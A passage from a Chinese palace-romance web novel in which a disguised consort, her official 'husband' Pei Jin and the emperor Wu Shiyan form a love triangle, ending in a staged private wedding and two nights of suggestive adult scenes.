胥吏弯腰答道:“温老大人吩咐的,要您务必在今晚看完。” 裴谨往一个方向看去,一名胡须花白,头发枯疏的老大人正笑呵呵地看着他,正是胥吏口中的温老大人,也是他的上官。 他虽年纪轻轻便担任要职,但到底资历太浅,上面还压着一位上司。 裴谨收回视线,看回卷宗,他心中疑惑不已,温大人这么大年纪了,难道还图谋一份从龙之功吗? 据他所知,温大人老来得女,膝下也只剩这么一个女儿,要再高的功劳也于他无用啊。 但裴谨实在想不出,除了他不参与宁王世子谋反这件事,温大人还有什么理由蓄意报复他- 入夜,即便夫人叮嘱了不必侍候,秋葵还是坚持守在门口。 虽然蘅芜院并无危险,可大人不在,她就得时刻守着夫人,尽职尽责地端茶递水,不让夫人有丝毫不便。 戚妤劝她不得,只好抱了床被子出来给她盖上。 房门重新合上,秋葵也浅眠起来,可不知是不是夫人给的被子太过温暖的缘故,她竟睡熟了过去,即便耳畔环绕着院中的虫鸣声,她也没有醒来的迹象。 乌时晏来时并未注意到房前还有丫鬟,他曲指敲了敲窗户。 戚妤听的心惊,连忙走到窗边,将窗户打开,把乌时晏放进来后这才看向秋葵的方向。 很好,秋葵睡的很熟。 戚妤稍稍安心,关上窗转身看向乌时晏时,便带上了恼意:“陛下,秋葵还在门前,您的动静太大了。” 换个伶俐的,定然瞒不过去。 皎洁的月光从窗外洒下,戚妤恰好站在那里,一层月辉渡在她身上,宛如一个从月上宫阙下来的仙子,即便是恼怒的样子,也只会让人觉得分外可爱。 乌时晏被惑到了,环住戚妤的腰,边往床边带,边果断认错道:“下次朕会注意的。” 戚妤仍抿着唇,直到摸上乌时晏衣襟下的腹肌这才缓了神色。 乌时晏夜里而至,好像也没那么烦。 有秋葵在,注定他们不能闹出动静。 但这恰合戚妤的意,她是真有心无力,闹不起来了。 而乌时晏,纵使觉得不满,但能在裴府与戚妤同榻而眠,他便觉得舒心。 再想到裴谨还在官署苦哈哈处理事务,他就更气顺了。 抱着戚妤,即便不做什么,他也是能接受的。 在戚妤睡着后,乌时晏将人往怀里捞了捞,见阿妤与他贴的紧密,他这才觉得称心如意。 裴谨是在深夜回来的,若是平常,他自然就呆在了官署,可戚妤在府上,他愈发归心似箭,觉得只是见上一面,静静看着她也是极好的。 秋葵睡在门槛旁边,裴谨没有惊动的意思,绕开她推开了门。 门嘎吱一响,乌时晏便醒了过来。 他一向如此,夜里稍有些动静,刀刃在眼前反光就会被惊醒。 乌时晏的手臂将戚妤圈的更牢了,他心里隐约明白,是裴谨回来了。 是不放心府中貌美的夫人吗? 乌时晏唇边泛起一丝冷笑,但他并未起身,甚至没有睁开眼,他的下巴抵在戚妤的肩头,鼻尖碰在戚妤的耳朵上,他们的头发纠缠在一起,不分彼此。 任谁看到这一幕,都知道他们亲密无间的关系。 乌时晏甚至有些期待裴谨能看到这一幕。 但裴谨进来后,只是走了过来,轻声唤了声夫人,见床帐里没有反应,就转身去了耳房。 甚至没掀开床帐看一眼自己的夫人。 乌时晏对此感到可惜。 但转瞬,他便意识到了什么,榻登上不止有戚妤那双青色的翘头履,还有他那一双绣有金色龙纹的黑靴。 裴谨以断案缜密细心出名,他真的什么都没发现吗? 乌时晏眼神晦暗起来。 有两种可能,一是裴谨不知道自己夫人被换,只以为床上的是赵婉仪。 可他作为丈夫,即便妻子的情夫是天子,他也不需要回避,且以他的性格,错不在他,根本不会回避。 裴谨此人,性子正直到了一定地步,即便是被贬出京,他也不受威逼利诱。 若非他年轻,恐怕就是个老古板。 二则是裴谨知道与他朝夕相处的人是戚妤,他回避只是因为,裴谨知道自己名不正,言不顺,他乌时晏才是戚妤的夫君,所以他必须得回避,还得表现出什么都不知道。 这时,屋外的秋葵被惊醒,她似是听到了屋内的动静:“夫人?” 裴谨出声道:“是我,秋葵你下去吧,夫人身边有我在。” 裴大人的声音一如既往的温润,秋葵称诺,放心地离开。 屋外没了动静,乌时晏也没了睡意。 他手指轻抚上戚妤的脸颊。 阿妤啊阿妤,你真是给我出了个难题,他是刺死裴谨,还是赐死裴谨呢? 裴谨就是个狗东西。 乌时晏离开时,天还未亮,裴谨坐在太师椅上,双手放在两只扶手处假寐。 等人走了,裴谨这才起身,往床榻的方向走去,他用手支开床幔,无视凌乱的床铺,仔细地描摹着戚妤的眉眼。 他和乌时晏大抵都知道了对方的存在。 可真到这一刻,他却感到松了一口气。 裴谨俯身,在戚妤额头上落下一吻,他原本不想横生枝节,只想看过戚妤便直接回官署,可这个吻落下后,戚妤似有所觉,往床里翻了翻,空出了一半床铺。 裴谨经过艰难抉择,终是脱下染上了一夜寒气的外衣,小心上床,睡在戚妤身边。 他的手掌落在戚妤腰间,戚妤抬了抬下巴,而后迷迷糊糊滚进了他怀里。 双手熟练地往他衣襟里钻。 裴谨觉得,戚妤更像是攥在了他心脏上,不然,他心头为什么发紧? 他将自己衣襟拉开,更方便了戚妤。 裴谨想,陛下,臣实在对不起您,可您离开,不正是给了臣机会吗? 还是笃定微臣不敢再碰贵妃? 那您还真是错了。 戚妤醒来时,心道乌时晏怎么还没走,而后方看清这不是乌时晏,而是裴谨。 一声陛下就这么卡在了嗓子里。 睡时她是睡在外面,乌时晏睡在床里,但是现在,却变成她睡在床里,裴谨睡在床外了。 戚妤小心收回手,从床上坐起来,揉了揉额头,有些摸不清状况。 第35章 见裴谨眉间拢了层明显的倦意, 戚妤便知道他没休息好,于是她轻轻掀开被子,小心绕过裴谨,下床穿上鞋。 重新将床帐放好, 戚妤转过身, 便听见门被推开的声音。 是秋葵带人端着铜盆进来了。 戚妤去了另一边梳洗, 对秋葵道:“夫君回来的晚, 现下还在睡着, 不必去打扰他。” 秋葵点头, 边帮戚妤净脸边道:“奴婢夜里子时听到屋内的动静, 唤了一声才知道是大人回来了,当时大人尚未入睡,不过奴婢走时,耳房的灯亮了一盏, 想是大人还在忙未办完的公务。” 说到这,秋葵皱了一下眉, 大人忙公务却只点一盏昏昏的灯, 怕是有些伤眼。 戚妤眸光微动, 也不知道乌时晏跟裴谨撞上了没有。 裴谨回来的太早, 而乌时晏天亮之前兴许才会离开,不过裴谨去了耳房, 也许真没碰见。 不然,她也不会一夜好眠, 早上醒来身边还躺着裴谨。 且裴谨也像一宿未睡的样子。 待用了早膳, 裴谨仍未起身,戚妤便着带秋葵回了一趟玉照院。 她还记着乌时晏向她讨要的那根彩绳。 乌时晏身为天子尚且留着那东西,她倒真不好抛之脑后。 玉照院一切如常, 毕竟夫人只是在大人身边呆了短短几日,并不足以让他们乱了阵脚。 说起来,也算是他们的失职,竟未注意到夫人受了凉。 戚妤唤来月鹭,问道:“我那日手腕上系的彩绳,你可有见?” 乞巧节那天,月鹭只远远坠在后面,并不清楚他们后来买了什么,因此不用担心一条手绳就会暴露。 月鹭有印象,她道:“瑶筝洗过后由玉琴拿走收起来了,放在妆奁里,姑娘要是去取,奴婢去唤玉琴。” 姑娘屋里一直是玉琴在打理,平时放取东西也都是她来,渐渐地,她们便也习惯了姑娘对玉琴的信任,以及对屋内东西的看重。 故而,月鹭才有此言。 “不必,我亲自去取。”戚妤将秋葵留在了这里与月鹭相伴,进入屋内。 她在妆奁里找到了那条彩绳,拿在手里刚准备走,忽然发现床榻旁边的柜子门微掩,从她这个方向正好可以看见,诺大的柜子里只放了卷起来的干净床褥,像是随时候着人将其铺开。 她微微一愣。 裴谨在玉照院,是打地铺睡的? 戚妤上前两步,还不待有所反应,便见一个丫鬟进来,浅笑道:“夫人,您回来了。” 是玉琴。 紧接着,玉琴看见没有关紧的柜门,脸色一白,当即认错道:“夫人,是奴婢的疏忽,晨起奴婢整理完卧房,离开时竟忘了关紧柜门。” 幸而今日是夫人回来,若让月鹭发现,定然不得了。 戚妤仔细观察了下玉琴的神色,温声安抚道:“不碍事。” 玉琴松了一口气,她又想到夫人如今这般浑不在意的态度,难道是夫人和大人要好好过日子了? 想到这种可能,玉琴心里便是一喜。 她是被夫人婚后买进裴府的,那时的她病重又毫无长处,是夫人买下了她,治好她,又培养了她,她对夫人自然万分忠心,也愿意帮夫人保守好她与大人仅存在名义上的夫妻关系。 因而夫人的卧房素日都是她来整理的。 但玉琴也希望夫人的地位能更稳固,若得裴大人真心相护,那就最好了。 玉琴劝道:“夫人,大人将您带去蘅芜院悉心照料,依奴婢看,定然是对您动了心,夫人何不把握住这次机会?” “京中再没有比裴大人更优秀的青年才俊了,既是陛下信任的臣子,官位不低,且后院还没有什么乌糟事,奴婢虽然不知道夫人您为何要和裴大人做假夫妻,可若稍动心思,这假未尝不能成真的。” 玉琴的话说的太疾,戚妤一时沉默下来,片刻她道:“我心里有数。” 玉琴不再劝,在她看来,这就是夫人在思量这事,若最终夫人仍与裴大人维持表面夫妻,那也是夫人经过深思熟虑后决定的事。 夫人最知道自己要什么了。 玉琴话中的假夫妻让戚妤心中的疑惑更甚,不过她是带着秋葵出了玉照院,才开始恍惚起来。 裴谨不举,只能与赵婉仪做假夫妻实在是很正常。 但戚妤觉得,这个假夫妻倒像是约法三章的结果,不单是因为裴谨不举,也因赵婉仪的选择。 毕竟只是裴谨不举,两人何必在外扮作恩爱夫妻,回府后又分床而睡。 一个睡床,一个打地铺,对院中的丫鬟也一并瞒了。 且玉琴的话中,赵婉仪与裴谨先前是没有什么情谊可言的,不然玉琴不会单凭裴谨照顾她,就断言裴谨动了心。 戚妤思绪有些乱,但她渐渐明白,她现在最应该做的,是与裴谨保持距离。 赵婉仪终会回来,他们是假夫妻,届时让赵婉仪对与裴谨的相处感到陌生就不好了。 回到蘅芜院,戚妤的神色已经归于平静。 裴谨起身后,早膳都没用,只换了身衣裳,叮嘱下人照顾好夫人,就匆匆去了官署。 两人自然就错开了。 但戚妤却有些轻松,避开了倒也好。 不多时,管家到蘅芜院,送来了一封请柬,是邀裴夫人到府上一叙,落款是一个乌字。 管家将这封请柬当成了云平公主送来的,但戚妤知道,这是乌时晏的手笔,这封请柬与乌时云的有些相似,但又不尽相同。 戚妤更倾向于是乌时晏故意而为之。 毕竟借用云平公主的名头将她叫出去则方便许多。 戚妤看清日期,正是今天,便将这封请柬收下,让秋葵将管家送出去。 “夫人要去赴约吗?”秋葵重新回来后问。 她不太清楚夫人与云平公主的关系,但不耽误她觉得夫人厉害,连公主都递来了请柬。 戚妤将请柬盖住:“自然。” 在秋葵离开的片刻,她已经将请柬里里外外看了一遍,也认出,上面的字都是乌时晏所写。 毫不掩饰地表明了身份。 算算天数,确实要到了为乌时晏解毒的日子。 戚妤想到乌时晏脸上那道深刻的疤痕,便问:“府上可有治外伤的良药?” 秋葵取来药膏,正是上次裴谨帮戚妤上药时用的。 戚妤见到药膏便被勾起了印象,那日确实是不到半日红痕便消了,她将药膏收入袖中,准备见乌时晏后,为他上药。 请柬的时间是在下午,乌时晏派了马车停在裴府门口,戚妤没有带秋葵。 秋葵只以为夫人身边有月鹭在,毕竟早上在玉照院时,月鹭便对她说她才是夫人最信任的丫鬟,去哪儿都要带着。 自然,夫人去赴约,定然会带上月鹭。 戚妤甫一登上马车,便被人扣住了手腕,拉到了身边,紧挨着来人的胳膊。 “陛下。”戚妤看向身旁的人,心中松散,弯唇笑道。 乌时晏在马车上等着的举动很合她的心意。 乌时晏入目便是戚妤泛起笑意的眼眸,冷硬的心肠顷刻便软了下来。 戚妤抬起手腕晃了晃,语气愉悦道:“臣妾找到手绳了。” 她低头,亦看见乌时晏腕上戴着的彩绳,与她的正好一对,便将手放在了乌时晏掌中。 乌时晏顺势将手指插进戚妤的指缝,十指紧扣。 他昨日只是随便找了个让她开口认错的借口罢了。 她便是不找回来,他心中也是没有任何怨怼的。 但戚妤找回来了,乌时晏看着两人的彩绳,心中雀跃了起来。 他将人搂进怀里:“阿妤,朕心悦你。” 戚妤枕在乌时晏怀中,隔着衣服她都能感受到乌时晏的好身材,真不愧是从战场上历练出来的。 她真心实意道:“臣妾也喜欢陛下。” 喜欢陛下的身体。 乌时晏低声诉说着对戚妤的思念,在他口中,少了她,似乎身边的一切都索然无味了,每时每刻都在想怎么尽快见到她。 句句都透着思念。 总而言之,他不能没有她。 戚妤边听边在心里感叹,乌时晏为了解毒,什么话都能说出口了。 瞧瞧人家这态度,戚妤更认真地与乌时晏情意相投起来。 毕竟马上就要睡一觉,情绪合拍和做恨还是不一样的。 前者能愉悦地共赴巫山,后者则抱着把对方搞死的心态,越做越爽? 戚妤眨了眨眼,连忙将自己的注意力从这方面移走,她想拿出药膏为乌时晏上药,却发现马车已经停了。 乌时晏先下马车,而后伸出手,戚妤将手搭上。 这座宅子就在裴府隔壁,占据了整条街,自然,戚妤下马车时,两旁都没有人。 乌时晏牵着戚妤的手将她带进宅子里。 戚妤跟着乌时晏走,她发现,越靠近主院,乌时晏就越紧张,脸上也绷的越紧,加上脸颊的疤痕,衬得他愈发可怖。 路过的暗卫均将头低的死死的。 但戚妤从穿越后见到乌时晏的第一面就未惧过他的气势,更遑论现在了。 她只觉得乌时晏这般更有成熟男人的味道,甚至还悄悄觑了他好几眼,这才对他的反应这么了如指掌。 但当皇帝的,脸上落疤终究不好,她这才将药膏带来。 走着走着,一片红彤彤的布景便映入眼帘。 戚妤一愣,脚步顿住,眼睛一眨不眨地看向这个处处布满心思,大红喜庆的主院,与她第一次来可谓是大相径庭。 谁吩咐布置的自然不言而喻。 一旁的乌时晏,略带些紧张地看向戚妤,他不知道她会不会喜欢。 第36章 “陛下。”戚妤看向乌时晏, 唇边露出真诚笑意,眼睛亮亮的,很容易就能让人感受到她的心情跟蜜一样甜,连带着旁人的心情也好了起来。 她认真道:“您为臣妾费的这番心思, 臣妾看到了, 并且很高兴。” 戚妤发自内心的愉悦:“再没有什么时候能比得过此刻了!” 一路上的低声倾诉, 虽然听在耳里, 但她只想手往乌时晏怀里伸, 好好的抱一抱他, 但现在, 见到这副场景,她心里是实实在在地掀起了浪花,波澜久久不能平息。 戚妤不怪乌时晏有时候很凶,也不觉得他时而的痴恋有什么难得。 她一直觉得两人的关系是各取所需, 譬如他们每次见面都要亲亲抱抱好久,乌时晏喜欢她这张脸, 她用乌时晏了以慰藉。 乞巧节那日是真正的镜花水月, 她每一次回头, 乌时晏都在身边, 与他视线交织时,那副满心满眼都是她的样子, 不知在她心中炸起了多少朵烟花。 直至在裴府醒来,迷茫过后, 也冷静了下来。 她可以放纵自己沉迷乌时晏, 但绝不要动了非他不可的心思。 她是要回家的,不妨顺其自然,抱着玩一玩的心态。 但现在面对乌时晏诚意满满的样子, 戚妤觉得自己可以试着付出一分真心。 再多就真的没有了! 越在意一个人,就越是了解她,乌时晏便是如此,他很敏锐地察觉出了戚妤的改变。 在他眼中的戚妤,现在目光中的神彩都与往日不同。 且毋庸置疑,她在看他。 乌时晏确信以及肯定,裴谨从戚妤这里得到的情谊绝对不会多过他。 现在的戚妤真诚的让人心里发软,就这样柔柔地看着他,似乎下一瞬她就会直白说出我喜欢你这几个字。 她是天底下最好的姑娘! 乌时晏很珍惜道:“你喜欢,便是值得的。” 戚妤重新看向前方:“臣妾还要进去看一看。” 她主动拉着乌时晏的手往里走去。 正屋的房门本就敞开着,戚妤踏过门槛,正前方的厅堂正中,悬挂绣有巨大囍字的大红绸布,香案上则摆着龙凤花烛与一干东西。 灯笼与红绸点缀着这间屋子。 往左进入卧房,首先便是一张好大的床,百子帐收束挂在两边,床上是龙凤被,鸳鸯枕,亦有用红枣、花生、桂圆、莲子等东西摆出吉祥的图案。 其次便是屋内的家具,一应俱全,大都是用名贵红木新打的,崭新透亮。 桌面上一盒盒匣子被打开,露出里面装满了的胭脂水粉、珍珠首饰、玉石田契,至于文房四宝,古董字画,衣裳鞋子这些放不进去的,则摆在托盘里,陈列出来。 这是属于新娘子的嫁妆。 戚妤视线一一扫过,原剧情中,她进入臣子府便有了乌时晏给的补偿,以至于假死后能有大笔钱财挥霍。 现在钱财以另一种形式落到她手中了。 戚妤的目光最终落在一个平平无奇的樟木箱上,它太普通了,摆在一旁,与屋内的家具格格不入。 偏偏戚妤却对它看了又看,流露出喜欢。 大燕民俗,民间有女出嫁,家人会把生女时栽种的香樟树砍掉制成樟木箱,作为女儿的嫁妆送出,这样存放衣物可以防止虫蛀,亦是父母对膝下女儿最美好的祝福。 戚妤在这个世界上自然没有父母,也没有一棵香樟树是为她而种,但乌时晏却给她补足了,甚至他给的更多。 戚妤握着乌时晏的手,方感受到了真实。 她扭头看向乌时晏,一时不知道该说些什么,只得字字真切道:“陛下,你待我太好了。” 乌时晏抚上戚妤的发丝,虽隐隐有些失落——比起这句话,他更想听戚妤说喜他恋他,甚至是爱他,但他亦很珍视戚妤现在对他露出的柔软。 “阿妤,我们之间不必说这些。” 看过婚房,乌时晏便带着戚妤去用膳。 回了大本营,林七自然回她自己的住处了,戚妤发现林七不在,也没有感到什么不适。 那日落水前,她正看到乌时晏是怎样杀人的,再没有比呆在乌时晏身边更安全的了。 又因他是男主,无论怎么阴郁不好接触,底色也是正义的。 譬如大燕,不正是在他登基后任人唯贤,天下才一副海清河晏,欣欣向荣的场景么。 所以戚妤对乌时晏是全然的信赖。 而乌时晏在戚妤面前其实一直在尽力维持着温和的面容,他直到现在还觉得那日戚妤并未看见他杀人的场面,不然再见到他时就该往后退了,而不是担忧地举着伞来给他挡雨。 对他落下混着雨水的吻也没有避开。 多少人都做不到她这样,甚至,她还是一名女子。 这如何不让乌时晏对戚妤更加怜惜? 他唯一露出本色恐怕就是昨日,但戚妤丝毫不惧,甚至在状况之外,让他不由气闷,亲的也就更加用力了。 好似只有他在吃醋,醋她对另一个人跟对他没什么区别,偏偏她还不知道,这如何不让他气馁? 但事后,乌时晏却庆幸于戚妤的迟钝,庆幸戚妤没有因此而对他感到害怕。 膳后,外面天色已近黄昏,戚妤回去的时候才发现卧房右边还有用纱帘与一架屏风隔出的浴池,温泉水汩汩流进池子,热气蒸腾。 因有两个池子,这才免了戚妤先一步烧红了脸。 同一池子沐浴对她的冲击还是太大了。 女池中的水面上铺满了花瓣,她刚进去,便丫鬟跟了进来,垂首安静地服侍她。 戚妤洗了好一会儿,肌肤上都泛起了粉,这才从池子中出来,换上托盘上那件红色寝衣,薄薄一层,却一点都不透,朱樱色与她雪白的肌肤形成了鲜明对比,让她整个人分外抢眼。 亦是人比花娇。 丫鬟上前给戚妤擦干头发,戚妤则兀自对着铜镜出神,她心里有一点点紧张。 虽然没有真正见过,但光是看轮廓,便知道乌时晏的本钱很大。 可等出去后,戚妤向床边走去,发现乌时晏一身红色寝衣早早地等在那里,见她来,微微抬眼,再冷的人此时唇角也有了明显笑意。 乌时晏的男色不俗。 丫鬟适时退出去,戚妤双眸发亮,不由自主跟着笑起来,心里那些忐忑早不知跑哪儿去了。 她只知道,她很满意乌时晏。 戚妤手里还握着药膏,在她离乌时晏几步远时,便被乌时晏握住了手拉到床上坐下。 “这是什么?”乌时晏问戚妤手中的东西。 戚妤打开瓷盒,先在她手腕上用了些,接着让乌时晏嗅闻:“是臣妾从裴府拿的药膏,用来给陛下敷脸上的伤。” 即便戚妤可以确定这个药膏味道不会有问题,可为了乌时晏的龙体着想,她自然要试用一下。 乌时晏并未察觉这层意思,他更在意的是,明明药膏打开还没什么奇特,可抹在戚妤手腕上怎么就让他这么着迷呢。 他不由自主地握住戚妤的手腕,反复摩擦着,又鬼使神差在那处肌肤上落下一吻。 戚妤一惊,身上莫名酥麻起来。 好像落到她身上的任何东西都对乌时晏有着莫大的吸引力。 疗伤的药膏他也吃…… 乌时晏知道戚妤不怕他脸上的疤,带来药膏也是出于对他的考虑,可这是裴谨的东西,乌时晏怎么觉得都有些奇怪。 但转念一想,阿妤能拿裴谨的东西来给他用,谁更重要不是一目了然吗? 乌时晏抬头,将受伤的脸颊亲近地侧向戚妤这边。 戚妤挖出药膏小心地敷在乌时晏脸上,一点点抹平。 乌时晏盯着戚妤的眉眼,在这片刻他已经想过了这一夜怎么过,只要她不累,他自然是奉陪到底。 可若戚妤没了力气,敲着他胳膊喊停,他也只能停下,怕给她留下不好的印象。 乌时晏由衷希望戚妤在房事上懂得贪欢。 在戚妤上完药的下一刻,乌时晏便迫不及待地拉着她想要躺下。 今夜注定很漫长。 然而,却被戚妤出声拒绝道:“陛下,孟大夫说要完全解毒,须得等我喝下的解药完全发挥作用才行,现下还不到时候。” 乌时晏皱眉道:“你不是药。” 哪有人欢好还得等时候? 戚妤听出了乌时晏的言下之意,他不想把她当药用。 可这能锦上添花的事,何必抗拒。 戚妤的声音温柔缱绻,却带着坚定:“不这样做,你身体里的毒清不干净。” 乌时晏将戚妤按进怀里:“不要。” 他不想再等一时一刻了。 戚妤伏在他怀里,隔着寝衣捏着他的腹肌,遗憾道:“可我们还没饮合卺酒。” 乌时晏闻言微顿,不得不钦佩,好聪明的阿妤。 他们可不止没饮合卺酒。 他自然也不想让这天落了遗憾。 于是本应入睡的时候,乌时晏找出红盖头给戚妤盖上,然后牵起她去厅堂拜堂。 手底下人准备东西,自然是将一切都准备全了,一切疏漏都是不可取的。 譬如屋内酒壶里的合卺酒,譬如红绸、挑开盖头的秤杆,自然也有绣着龙凤呈祥的红盖头。 一番依礼后,乌时晏拽着红绸与戚妤重新坐在床上,他拿起托盘上的秤杆,挑起盖头。 然而,本应见到的那双温柔眼眸此刻却泛着水光,泪珠在她眼眶里转动,欲坠不坠,戚妤就这样盈盈地看着他。 乌时晏顷刻间便意识到了什么! 戚妤额前出了层热汗,手上紧紧抓着红绸,浑身发软,又不得不紧绷起来。 第三次就这么猝不及防,又汹涌地来了,她嘴唇微张,滔天的欲念几乎将她淹没。 但戚妤不想打扰这个过程,硬是忍着没露出分毫破绽,终于在盖头掀开的那一刻才坠了泪,软了身子径直栽在乌时晏身上,边顺着他的衣襟摩擦他的肌肤,边呜呜地哭了起来。 她很想不这么丢脸,但真的忍不住,太磨人了。 乌时晏将戚妤打横抱起,放到床上,他也急啊,连放下百子帐的时间都没有,便伏下了身。 喜炷明亮,将床榻上照的如白日一样。 戚妤泪眼朦胧,却也知道乌时晏亮极了的眼眸。 …… 第37章 戚妤脑壳昏昏, 只一个劲儿的靠近乌时晏,不知是泪水还是汗珠在一片混乱中贴在了乌时晏身上。 用指腹轻轻一捻就能让晶莹的水痕散开。 但他们已经注意不到这些了,乌时晏哪里受得了戚妤这副样子,恨不得把她揉进自己的骨血里。 他一遍又一遍地吮掉戚妤眼眶中溢出的眼泪, 吻着她的唇瓣, 将她似痛非痛, 难磨的呜咽声吞入腹中。 乌时晏找到戚妤落在他身上的手, 五指穿过她的指缝, 紧扣住她滑腻腻、满是汗水的手掌, 而后往旁边平直地推去。 戚妤觉得自己要被乌时晏展开了, 毫无保留地面对他。 这一变故让她心跳如鼓,但戚妤可以确定,这不是药的作用,解药只会让她陷入无与伦比的潮热中, 等待采撷完乌时晏,生理的反应才会如潮水般退去。 因为眼眶中的泪水刚被吮走, 戚妤的视线变得格外清晰。 她偏头, 避开乌时晏炙热的眼神, 怔忡地看向被乌时晏紧紧扣住, 已经陷进柔软床铺中的手。 乌时晏的手掌很大,与其说是他们十指紧扣, 不如说是乌时晏霸道地将她的手覆住,她的手指无力垂着, 被他用力地压在被褥中, 动弹不得。 那姿态,一如她落在乌时晏身下,极近的贴着。 戚妤发现, 因为乌时晏身形高大,这般压下来,几乎将她整个人都给遮住了。 不容许她逃走。 乌时晏没有再做多余的动作,很痛快的将第一次给了戚妤。 不敢让戚妤等着急,把她惹火了。 “阿妤,你是朕的第一个女人,你要对朕负责。”乌时晏带着痴迷、兴奋、依恋与激动道。 还有帝王说一不二的气势。 …… 第一次结束时,戚妤长长地喘了口气 。 她费劲地将乌时晏推开,脸看向床外。 乌时晏顺势躺在戚妤身边,他想将她整个抱进怀里,亲一亲贴着她脸颊上湿漉漉的发丝,但想了想,他最终只搂了搂她。 因为戚妤现在好像有点傻了,他不敢再得寸进尺。 乌时晏如喝了蜜一样,唇边的笑意怎么也压住不下去,眼中映着跳跃着的烛光,他蛰伏下来,静静地观察戚妤。 他心里在剧烈叫嚣着喜欢,好喜欢阿妤,好喜欢她这副狼狈萎靡的样子…… 不枉他将第一次的时间延续地这么长。 戚妤移开乌时晏落在她腰部的手,也不管他的视线多么欢喜,从床上下来,连鞋子都没穿,直奔放茶壶的地方,给自己倒了杯水,饮下,这才觉得整个人活了过来。 在戚妤从乌时晏的手中挣脱,往床下走的那一刻,乌时晏自认为隐秘的欢喜一空,很快反应过来要追上去,他以为阿妤是不满他,这才要躲得离他远远的。 而他自然不允许这种情况发生,便是死皮赖脸也要贴在一起。 但没想到戚妤只是去喝水,乌时晏就这么慌忙地下了床,手边却无所事事。 终于解了渴的戚妤疑惑地看向乌时晏:“陛下?” 她自是体贴地给乌时晏也倒了杯水。 乌时晏强自镇定:“我们还没有喝合卺酒。” 戚妤点头,低头装作柔顺的样子,遮掩脸颊上渐渐染上的一抹绯色。 和方才还相互取悦的人一本正经地说话,还是太考验人的脸皮厚度了。 乌时晏取来酒,两人重新坐到床上。 戚妤拿起自己那杯与乌时晏交叉手臂,准备一口气喝完。 却被乌时晏按住了手,指导道:“不对,只用先喝一半,再相互换过来喝另一半。” “阿妤喝完了,朕喝什么?” 戚妤也反应了过来,虚心问:“喝合卺酒是不是还不用交臂?” 乌时晏:“朕很喜欢,可以有。” 那便是没有了。 戚妤缓缓看向乌时晏,妥协下来。 她喝掉一半,与乌时晏手中的酒杯交换,而后轻嗅了一下被换到她手上的酒,酒香浓郁,于是一饮而尽。 乌时晏眼眸幽深地看着戚妤将他喝过的酒喝下,腹下便聚了一团火。 即便他们亲过那么多次,光吃干吃净口津都不知道多少次了,可他仍因这副场面而情动。 乌时晏喝掉自己手中的酒,只觉得,阿妤喝过的,再没有比这更甘冽的了。 戚妤收回胳膊,将酒杯放下,乌时晏恰好伸出大拇指,帮她擦去了唇上的酒渍。 戚妤微愣,后知后觉抿了一下,将乌时晏的手指半含进了唇间。 “阿妤——”乌时晏的脸上焕发出了前所未有的神采,眼睛亮的惊人。 但他的动作却是想将手指取出来。 再喜欢,也不可以。 戚妤一顿,卧进了乌时晏怀里,懒洋洋的什么也没做。 但这已经很能说明意思了,乌时晏惊喜的亲了亲戚妤的脸颊。 戚妤含糊道:“陛下,我喜欢你。” 现在,此时此刻很喜欢。 毕竟乌时晏真的不俗。 乌时晏低笑出声,他仔细看向戚妤,她的眼尾有一抹红,眼眸倒清澈如水,透着疏懒意味。 看着既诚恳又散漫。 乌时晏已经有点分不清真情与假意了。 但毋庸置疑,他喜欢听。 这便好,她对他说了这便好。 两人静静地呆了一会儿。 时间一点点流逝,最终乌时晏用额头抵在戚妤的额前,恋恋不舍地将手指从戚妤嘴里拿了出来。 戚妤的呼吸缓缓变了,她直起身子问:“陛下,你好了吗?” 她好像要等不了了。 乌时晏眼睛亮晶晶的,轻轻点了点头。 戚妤眼神微变:来? 乌时晏心情雀跃:来! 两人双双往床上倒去。 混着酒香的第二次就这么顺利成章、水到渠成的完成了,中间乌时晏甚至重新倒了一杯酒,渡给戚妤。 戚妤比第一次更晕乎乎了,无力地趴在床上。 第三次时,乌时晏的吻如流星般落下,戚妤像个咸鱼一样被翻了个面,仰着下巴承受着乌时晏的温情。 她不懂,为什么都半夜三更了,乌时晏的兴致还这么高昂,且一次比一次长,好似在较着劲。 初时戚妤还能回应一下乌时晏旺盛的热情,后来她几乎随波逐流了,不再管身体里的药力翻涌,推着乌时晏,就这样沉沉地睡了过去。 “阿妤耍赖。”乌时晏将戚妤揽进怀里,下巴抵在她的肩膀上,轻轻蹭着。 毒才解了一半,阿妤就不管他了。 乌时晏的身体仍旧冰凉,因此戚妤这一觉睡得很舒服。 第二日早上,两人醒来后便去沐浴了,这次自然在一个池子里。 戚妤脚下不稳,乌时晏将她抱起,大步往前走去。 沐浴过后,两人换了间屋子,丫鬟送来早膳,戚妤饿极了,慢条斯理吃了很多。 因为昨晚提前睡着了,戚妤不知道后来发生了什么,只知道早上醒来时,睁眼便是乌时晏那张漂亮的睡颜,她的心情很好。 红烛尽职尽责燃了整整一夜,在太阳初升时才灭掉。 但戚妤感受着体内快速流动的血液,觉得药效好像没有散尽。 这时,乌时晏也贴了上来:“阿妤,朕的毒还没有解完。” 一夜自然是不够的。 戚妤还能怎么办,自然是拉着乌时晏继续回床上了。 好在他们用了膳,有了力气。 他们醒的迟,又沐浴用膳,现在都快晌午了。 因此两人这次是黄昏用了些粥方睡,夜半醒来。 乌时晏再次贴上来:“阿妤,毒没有解完。” 戚妤木着脸,觉得好累啊,但能怎么办呢,一鼓作气,再而衰,三而竭,不能留个小尾巴,让余毒成为以后的隐患。 待饮了参汤,戚妤朝乌时晏勾了勾手指头,倦的连说话的力气都没有了。 见此,乌时晏抱着戚妤下了床,果然,桌上、地毯上、铜镜前都很能激起阿妤的兴致。 他们是天生一对! 这次,乌时晏温柔了许多,当然,也有他心虚的成分在。 第一天晚上,便解了一半毒。 第二天那半日,另一半毒当真没完全消解吗? 要知道,戚妤为了多解一些毒,第二天还多做了一次。 却不知道身边有一匹喂不饱的饿狼,对那事从头到尾都很热衷,不知疲倦地想要一次又一次。 他们破晓时方回了床上睡下,自然下午才醒来。 见戚妤睁开眼,乌时晏又凑近了:“阿妤——” 戚妤伸手,抿着唇,板着脸将他扇开。 她没用什么力道,乌时晏甚至觉得戚妤是在抚摸他的脸颊,直到看见她慢慢气红了的脸,这才本分下来。 戚妤尽量心平气和地问:“陛下,您还要对臣妾说毒没有解吗?” 这两次睡觉都没有以前好抱了。 她今日凌晨便觉得不对,直至睡后才反应过来,气的她在梦里张牙舞爪,如今乌时晏还要故技重施,她自然气不打一处来。 整整两天两夜啊,她快要死在床上了! 戚妤想到这两日她过的是什么日子,声便高了:“臣妾再信你的鬼话就是狗!” 乌时晏轻声反驳:“是小狗。” 阿妤是最可爱的小狗。 戚妤:!! 好气啊。 第38章 乌时晏连忙抱住戚妤, 